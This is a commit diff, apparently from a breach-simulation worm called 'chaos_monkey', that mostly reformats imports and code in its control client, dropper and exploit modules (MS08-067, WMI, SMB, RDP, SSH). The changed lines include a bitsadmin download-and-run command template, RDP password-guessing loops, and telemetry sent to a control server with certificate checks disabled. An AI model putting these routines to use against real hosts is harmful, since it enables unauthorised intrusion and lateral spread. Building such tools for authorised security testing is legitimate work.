<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="-2.840909">
<caret line="5" column="22" selection-start-line="5" selection-start-column="20" selection-end-line="5" selection-end-column="22" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/monkey_island/cc/main.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/monkey_island/run_cc.bat">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
</state>
</provider>
</entry>
<entry file="file://$USER_HOME$/.PyCharm50/system/python_stubs/-762174762/__builtin__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="568" column="4" selection-start-line="568" selection-start-column="4" selection-end-line="568" selection-end-column="4" />
</state>
</provider>
</entry>
<entry file="file://C:/Python27/Lib/difflib.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.3330292">
<caret line="700" column="4" selection-start-line="700" selection-start-column="4" selection-end-line="700" selection-end-column="4" />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/system_singleton.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="108" column="0" selection-start-line="108" selection-start-column="0" selection-end-line="108" selection-end-column="0" />
<folding>
<element signature="e#0#10#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/monkey.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="-17.931034">
<caret line="178" column="0" selection-start-line="178" selection-start-column="0" selection-end-line="178" selection-end-column="0" />
<folding>
<element signature="e#0#10#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/monkeyfs.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="60" column="0" selection-start-line="60" selection-start-column="0" selection-end-line="60" selection-end-column="0" />
<folding>
<element signature="e#0#22#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/tunnel.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="109" column="0" selection-start-line="109" selection-start-column="0" selection-end-line="109" selection-end-column="0" />
<folding>
<element signature="e#0#13#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/main.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="111" column="0" selection-start-line="111" selection-start-column="0" selection-end-line="111" selection-end-column="0" />
<folding>
<element signature="e#0#9#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/dropper.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="-15.24138">
<caret line="26" column="0" selection-start-line="26" selection-start-column="0" selection-end-line="26" selection-end-column="0" />
<folding>
<element signature="e#0#9#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/control.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="15" column="0" selection-start-line="15" selection-start-column="0" selection-end-line="15" selection-end-column="0" />
<folding>
<element signature="e#0#11#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/config.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<element signature="e#0#9#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/build_linux.sh">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/transport/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="4" column="0" selection-start-line="4" selection-start-column="0" selection-end-line="4" selection-end-column="0" />
<folding>
<element signature="e#0#25#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/transport/base.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="15" column="0" selection-start-line="15" selection-start-column="0" selection-end-line="15" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/transport/ftp.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="174" column="0" selection-start-line="174" selection-start-column="0" selection-end-line="174" selection-end-column="0" />
<folding>
<element signature="e#0#30#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/transport/http.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<element signature="e#0#49#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/transport/tcp.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="13" column="29" selection-start-line="13" selection-start-column="29" selection-end-line="13" selection-end-column="29" />
<folding>
<element signature="e#0#13#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="1" column="0" selection-start-line="1" selection-start-column="0" selection-end-line="1" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/firewall.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="3" column="0" selection-start-line="3" selection-start-column="0" selection-end-line="3" selection-end-column="0" />
<folding>
<element signature="e#0#17#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="25" column="0" selection-start-line="25" selection-start-column="0" selection-end-line="25" selection-end-column="0" />
<folding>
<element signature="e#0#39#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/network_scanner.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="18" column="0" selection-start-line="18" selection-start-column="0" selection-end-line="18" selection-end-column="0" />
<folding>
<element signature="e#0#11#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/info.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="56" column="20" selection-start-line="56" selection-start-column="20" selection-end-line="56" selection-end-column="20" />
<folding>
<element signature="e#0#10#0" expanded="false" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/ping_scanner.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="30" column="22" selection-start-line="30" selection-start-column="22" selection-end-line="30" selection-end-column="22" />
<folding>
<element signature="e#0#9#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/range.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="65" column="0" selection-start-line="65" selection-start-column="0" selection-end-line="65" selection-end-column="0" />
<folding>
<element signature="e#0#13#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/smbfinger.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<element signature="e#0#13#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/sshfinger.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="24" column="33" selection-start-line="24" selection-start-column="33" selection-end-line="24" selection-end-column="33" />
<folding>
<element signature="e#0#9#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/tcp_scanner.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<element signature="e#0#11#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/network/tools.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<element signature="e#0#13#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/model/host.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="38" column="0" selection-start-line="38" selection-start-column="0" selection-end-line="38" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/model/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="14" column="0" selection-start-line="14" selection-start-column="0" selection-end-line="14" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="6" column="0" selection-start-line="6" selection-start-column="0" selection-end-line="6" selection-end-column="0" />
<folding>
<element signature="e#0#39#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://C:/Python27/Lib/site-packages/rdpy/core/error.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="2.4323077">
<caret line="93" column="6" selection-start-line="93" selection-start-column="6" selection-end-line="93" selection-end-column="6" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/rdpgrinder.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="94" column="36" selection-start-line="94" selection-start-column="36" selection-end-line="94" selection-end-column="36" />
<folding>
<element signature="e#0#11#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/smbexec.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding>
<element signature="e#0#10#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/sshexec.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="126" column="21" selection-start-line="126" selection-start-column="21" selection-end-line="126" selection-end-column="21" />
<folding>
<element signature="e#0#15#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://C:/Python27/Lib/site-packages/impacket/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/tools.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="26" column="0" selection-start-line="26" selection-start-column="0" selection-end-line="26" selection-end-column="0" />
<folding>
<element signature="e#0#9#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/__init__.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="0" column="0" selection-start-line="0" selection-start-column="0" selection-end-line="0" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/win_ms08_067.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="264" column="16" selection-start-line="264" selection-start-column="16" selection-end-line="264" selection-end-column="16" />
<folding>
<element signature="e#330#340#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/exploit/wmiexec.py">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.0">
<caret line="109" column="0" selection-start-line="109" selection-start-column="0" selection-end-line="109" selection-end-column="0" />
<folding>
<element signature="e#0#13#0" expanded="true" />
</folding>
</state>
</provider>
</entry>
<entry file="file://$PROJECT_DIR$/chaos_monkey/build_windows.bat">
<provider selected="true" editor-type-id="text-editor">
<state vertical-scroll-proportion="0.05230769">
<caret line="2" column="0" selection-start-line="2" selection-start-column="0" selection-end-line="2" selection-end-column="0" />
<folding />
</state>
</provider>
</entry>
</component>
</project>

View File

@ -1,13 +1,12 @@
import os
import sys
import ntpath
from network.range import ClassCRange, RelativeRange, FixedRange
from network.range import FixedRange
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger
from abc import ABCMeta
import uuid
import types
__author__ = 'itamar'
GUID = str(uuid.getnode())
@ -78,7 +77,7 @@ class Configuration(object):
###########################
### logging config
###########################
###########################
use_file_logging = True
dropper_log_path = os.path.expandvars("%temp%\~df1562.tmp") if sys.platform == "win32" else '/tmp/user-1562'

View File

@ -1,13 +1,11 @@
import json
import random
import logging
import requests
import platform
import monkeyfs
from network.info import local_ips
from socket import gethostname, gethostbyname_ex
from config import WormConfiguration, Configuration, GUID
from socket import gethostname
from config import WormConfiguration, GUID
from transport.tcp import TcpProxy
from transport.http import HTTPConnectProxy
import tunnel
@ -19,6 +17,7 @@ requests.packages.urllib3.disable_warnings()
LOG = logging.getLogger(__name__)
DOWNLOAD_CHUNK = 1024
class ControlClient(object):
proxies = {}
@ -32,13 +31,12 @@ class ControlClient(object):
WormConfiguration.current_server = server
monkey = { 'guid': GUID,
'hostname' : hostname,
'ip_addresses' : local_ips(),
'description' : " ".join(platform.uname()),
'config' : WormConfiguration.as_dict(),
'parent' : parent,
}
monkey = {'guid': GUID,
'hostname': hostname,
'ip_addresses': local_ips(),
'description': " ".join(platform.uname()),
'config': WormConfiguration.as_dict(),
'parent': parent}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
@ -75,11 +73,11 @@ class ControlClient(object):
monkey = {}
if ControlClient.proxies:
monkey['tunnel'] = ControlClient.proxies.get('https')
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False,
proxies=ControlClient.proxies)
reply = requests.patch("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
data=json.dumps(monkey),
headers={'content-type' : 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@ -91,12 +89,11 @@ class ControlClient(object):
return
try:
telemetry = {'monkey_guid': GUID, 'telem_type': tele_type, 'data' : data}
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type' : 'application/json'},
verify=False,
proxies=ControlClient.proxies)
reply = requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,),
data=json.dumps(telemetry),
headers={'content-type' : 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
@ -106,9 +103,9 @@ class ControlClient(object):
if not WormConfiguration.current_server:
return
try:
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies)
reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID),
verify=False,
proxies=ControlClient.proxies)
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
@ -141,7 +138,8 @@ class ControlClient(object):
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file):
return dest_file
else:
download = requests.get("https://%s/api/monkey/download/%s" % (WormConfiguration.current_server, filename),
download = requests.get("https://%s/api/monkey/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
@ -159,7 +157,6 @@ class ControlClient(object):
return None
@staticmethod
def create_control_tunnel():
if not WormConfiguration.current_server:
@ -178,6 +175,3 @@ class ControlClient(object):
target_addr, target_port = None, None
return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port)

View File

@ -1,4 +1,3 @@
import os
import sys
import time
@ -8,7 +7,6 @@ import pprint
import logging
import subprocess
from ctypes import c_char_p
from control import ControlClient
from model import MONKEY_CMDLINE
from config import WormConfiguration
@ -26,14 +24,7 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4
class MonkeyDrops(object):
def __init__(self, args):
if args:
dest_path = os.path.expandvars(args[0])
else:
dest_path = os.path.expandvars(WormConfiguration.dropper_target_path if sys.platform == "win32" \
else WormConfiguration.dropper_target_path_linux)
self._monkey_args = args[1:]
self._config = {'source_path': os.path.abspath(sys.argv[0]),
'destination_path': args[0]}
@ -112,8 +103,7 @@ class MonkeyDrops(object):
try:
os.remove(self._config['source_path'])
except Exception, exc:
LOG.debug("Error removing source file '%s': %s",
self._config['source_path'], exc)
LOG.debug("Error removing source file '%s': %s", self._config['source_path'], exc)
# mark the file for removal on next boot
dropper_source_path_ctypes = c_char_p(self._config['source_path'])

View File

@ -1,20 +1,20 @@
from abc import ABCMeta, abstractmethod
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter
__author__ = 'itamar'
class HostExploiter(object):
__metaclass__ = ABCMeta
_target_os_type = []
def is_os_supported(self, host):
return host.os.get('type') in self._target_os_type
return host.os.get('type') in self._target_os_type
@abstractmethod
def exploit_host(self, host, src_path=None):
raise NotImplementedError()
from win_ms08_067 import Ms08_067_Exploiter
from wmiexec import WmiExploiter
from smbexec import SmbExploiter
from rdpgrinder import RdpExploiter
from sshexec import SSHExploiter

View File

@ -1,7 +1,5 @@
import time
import socket
import threading
import cffi
import os.path
import twisted.python.log
import rdpy.core.log as rdpy_log
@ -9,12 +7,12 @@ from rdpy.protocol.rdp import rdp
from twisted.internet import reactor
from rdpy.core.error import RDPSecurityNegoFail
from logging import getLogger
from exploit import HostExploiter
from exploit.tools import HTTPTools
from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from model.host import VictimHost
from network.tools import check_port_tcp
from exploit.tools import get_target_monkey
from chaos_monkey.exploit import HostExploiter
from chaos_monkey.exploit.tools import HTTPTools
from chaos_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from chaos_monkey.model.host import VictimHost
from chaos_monkey.network.tools import check_port_tcp
from chaos_monkey.exploit.tools import get_target_monkey
__author__ = 'hoffer'
KEYS_INTERVAL = 0.1
@ -24,6 +22,7 @@ DOWNLOAD_TIMEOUT = 60
RDP_PORT = 3389
LOG = getLogger(__name__)
def twisted_log_func(*message, **kw):
if kw.has_key('isError') and kw['isError']:
error_msg = 'Unknown'
@ -33,6 +32,7 @@ def twisted_log_func(*message, **kw):
else:
LOG.debug("Message from twisted library: %s" % (str(message),))
def rdpy_log_func(message):
LOG.debug("Message from rdpy library: %s" % (message,))
@ -44,26 +44,31 @@ rdpy_log.log = rdpy_log_func
global g_reactor
g_reactor = threading.Thread(target=reactor.run, args=(False,))
class ScanCodeEvent(object):
def __init__(self, code, is_pressed=False, is_special=False):
self.code = code
self.is_pressed = is_pressed
self.is_special = is_special
class CharEvent(object):
def __init__(self, char, is_pressed=False):
self.char = char
self.is_pressed = is_pressed
class SleepEvent(object):
def __init__(self, interval):
self.interval= interval
class WaitUpdateEvent(object):
def __init__(self, updates=1):
self.updates = updates
pass
def str_to_keys(orig_str):
result = []
for c in orig_str:
@ -72,6 +77,7 @@ def str_to_keys(orig_str):
result.append(WaitUpdateEvent())
return result
class KeyPressRDPClient(rdp.RDPClientObserver):
def __init__(self, controller, keys, width, height, addr):
super(KeyPressRDPClient, self).__init__(controller)
@ -86,6 +92,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
self._last_update = 0
self.closed = False
self.success = False
self._wait_for_update = None
def onUpdate(self, destLeft, destTop, destRight, destBottom, width, height, bitsPerPixel, isCompress, data):
update_time = time.time()
@ -129,7 +136,6 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
else:
self._update_lock.release()
time.sleep(KEYS_SENDER_SLEEP)
def onReady(self):
pass
@ -175,7 +181,7 @@ class CMDClientFactory(rdp.ClientFactory):
@return: RDPClientQt
"""
#create client observer
# create client observer
self._client = KeyPressRDPClient(controller, self._keys, self._width, self._height, addr)
controller.setUsername(self._username)
@ -190,10 +196,10 @@ class CMDClientFactory(rdp.ClientFactory):
return self._client
def clientConnectionLost(self, connector, reason):
#try reconnect with basic RDP security
# try reconnect with basic RDP security
if reason.type == RDPSecurityNegoFail and self._nego:
LOG.debug("RDP Security negotiate failed on %s:%s, starting retry with basic security" % (connector.host, connector.port))
#stop nego
# stop nego
self._nego = False
self._security = rdp.SecurityLevel.RDP_LEVEL_RDP
connector.connect()
@ -208,6 +214,7 @@ class CMDClientFactory(rdp.ClientFactory):
self.success = False
self.done_event.set()
class RdpExploiter(HostExploiter):
_target_os_type = ['windows']
@ -267,10 +274,8 @@ class RdpExploiter(HostExploiter):
for password in passwords:
try:
# run command using rdp.
LOG.info("Trying rdp logging into victim %r with user"
" %s and password '%s'", host,
self._config.psexec_user, password)
LOG.info("Trying rdp logging into victim %r with user %s and password '%s'",
host, self._config.psexec_user, password)
client_factory = CMDClientFactory(self._config.psexec_user, password, "", command)
@ -302,4 +307,4 @@ class RdpExploiter(HostExploiter):
LOG.info("Executed monkey '%s' on remote victim %r",
os.path.basename(src_path), host)
return True
return True

View File

@ -1,11 +1,11 @@
import sys
from logging import getLogger
from model.host import VictimHost
from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from exploit import HostExploiter
from network.tools import check_port_tcp
from exploit.tools import SmbTools, get_target_monkey
from network import SMBFinger
from chaos_monkey.model.host import VictimHost
from chaos_monkey.model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED
from chaos_monkey.exploit import HostExploiter
from chaos_monkey.network.tools import check_port_tcp
from chaos_monkey.exploit.tools import SmbTools, get_target_monkey
from chaos_monkey.network import SMBFinger
try:
from impacket import smb
@ -25,6 +25,7 @@ except ImportError, exc:
LOG = getLogger(__name__)
class SmbExploiter(HostExploiter):
_target_os_type = ['windows']
@ -142,7 +143,7 @@ class SmbExploiter(HostExploiter):
try:
scmr.hRStartServiceW(scmr_rpc, service)
except:
pass
pass
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)

View File

@ -1,11 +1,10 @@
import os
import paramiko
import monkeyfs
from chaos_monkey import monkeyfs
import logging
from exploit import HostExploiter
from model import MONKEY_ARG
from exploit.tools import get_target_monkey
from network.tools import check_port_tcp
from chaos_monkey.exploit import HostExploiter
from chaos_monkey.model import MONKEY_ARG
from chaos_monkey.exploit.tools import get_target_monkey
from chaos_monkey.network.tools import check_port_tcp
import time
__author__ = 'hoffer'
@ -14,6 +13,7 @@ LOG = logging.getLogger(__name__)
SSH_PORT = 22
TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter):
_target_os_type = ['linux', None]
@ -32,7 +32,7 @@ class SSHExploiter(HostExploiter):
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey,servdata in host.services.items():
for servkey, servdata in host.services.items():
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
port = int(servkey.replace('tcp-',''))
@ -124,11 +124,11 @@ class SSHExploiter(HostExploiter):
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
self._config.dropper_target_path_linux, host, cmdline)
self._config.dropper_target_path_linux, host, cmdline)
ssh.close()
return True
except Exception, exc:
LOG.debug("Error running monkey on victim %r: (%s)", host, exc)
return False
return False

View File

@ -1,17 +1,15 @@
import os
import ntpath
import pprint
import logging
import os.path
import socket
import urllib
import monkeyfs
from chaos_monkey import monkeyfs
from difflib import get_close_matches
from network import local_ips
from transport import HTTPServer
from network.info import get_free_tcp_port
from network.firewall import app as firewall
from chaos_monkey.network import local_ips
from chaos_monkey.transport import HTTPServer
from chaos_monkey.network.info import get_free_tcp_port
from chaos_monkey.network.firewall import app as firewall
from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.smbconnection import SMBConnection, SMB_DIALECT
@ -25,6 +23,7 @@ __author__ = 'itamar'
LOG = logging.getLogger(__name__)
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %

View File

@ -11,12 +11,12 @@ import time
import socket
from enum import IntEnum
from logging import getLogger
from model.host import VictimHost
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from exploit import HostExploiter
from exploit.tools import SmbTools, get_target_monkey
from network.tools import check_port_tcp
from network import SMBFinger
from chaos_monkey.model.host import VictimHost
from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE
from chaos_monkey.exploit import HostExploiter
from chaos_monkey.exploit.tools import SmbTools, get_target_monkey
from chaos_monkey.network.tools import check_port_tcp
from chaos_monkey.network import SMBFinger
try:
from impacket import smb
@ -174,11 +174,10 @@ class Ms08_067_Exploiter(HostExploiter):
def is_os_supported(self, host):
if host.os.get('type') in self._target_os_type and \
host.os.get('version') in self._windows_versions.keys():
host.os.get('version') in self._windows_versions.keys():
return True
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and \
not host.os.get('version')):
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
if is_smb_open:
smb_finger = SMBFinger()
@ -260,8 +259,10 @@ class Ms08_067_Exploiter(HostExploiter):
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False
finally:
try: sock.close()
except: pass
try:
sock.close()
except:
pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)

View File

@ -1,15 +1,15 @@
import socket
import ntpath
import logging
import traceback
from model import DROPPER_CMDLINE, MONKEY_CMDLINE, MONKEY_CMDLINE_HTTP
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, HTTPTools, AccessDeniedException, get_target_monkey
from chaos_monkey.model import DROPPER_CMDLINE, MONKEY_CMDLINE
from chaos_monkey.model.host import VictimHost
from chaos_monkey.exploit import HostExploiter
from chaos_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_target_os_type = ['windows']
@ -68,7 +68,7 @@ class WmiExploiter(HostExploiter):
LOG.debug("Skipping %r - already infected", host)
return False
#copy the file remotely using SMB
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user,
password,
@ -76,8 +76,8 @@ class WmiExploiter(HostExploiter):
self._config.dropper_target_path)
if not remote_full_path:
wmi_connection.close()
return False
wmi_connection.close()
return False
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}

View File

@ -1,3 +1,5 @@
from host import VictimHost
__author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
@ -10,5 +12,3 @@ MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priorit
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s' % (MONKEY_ARG, )
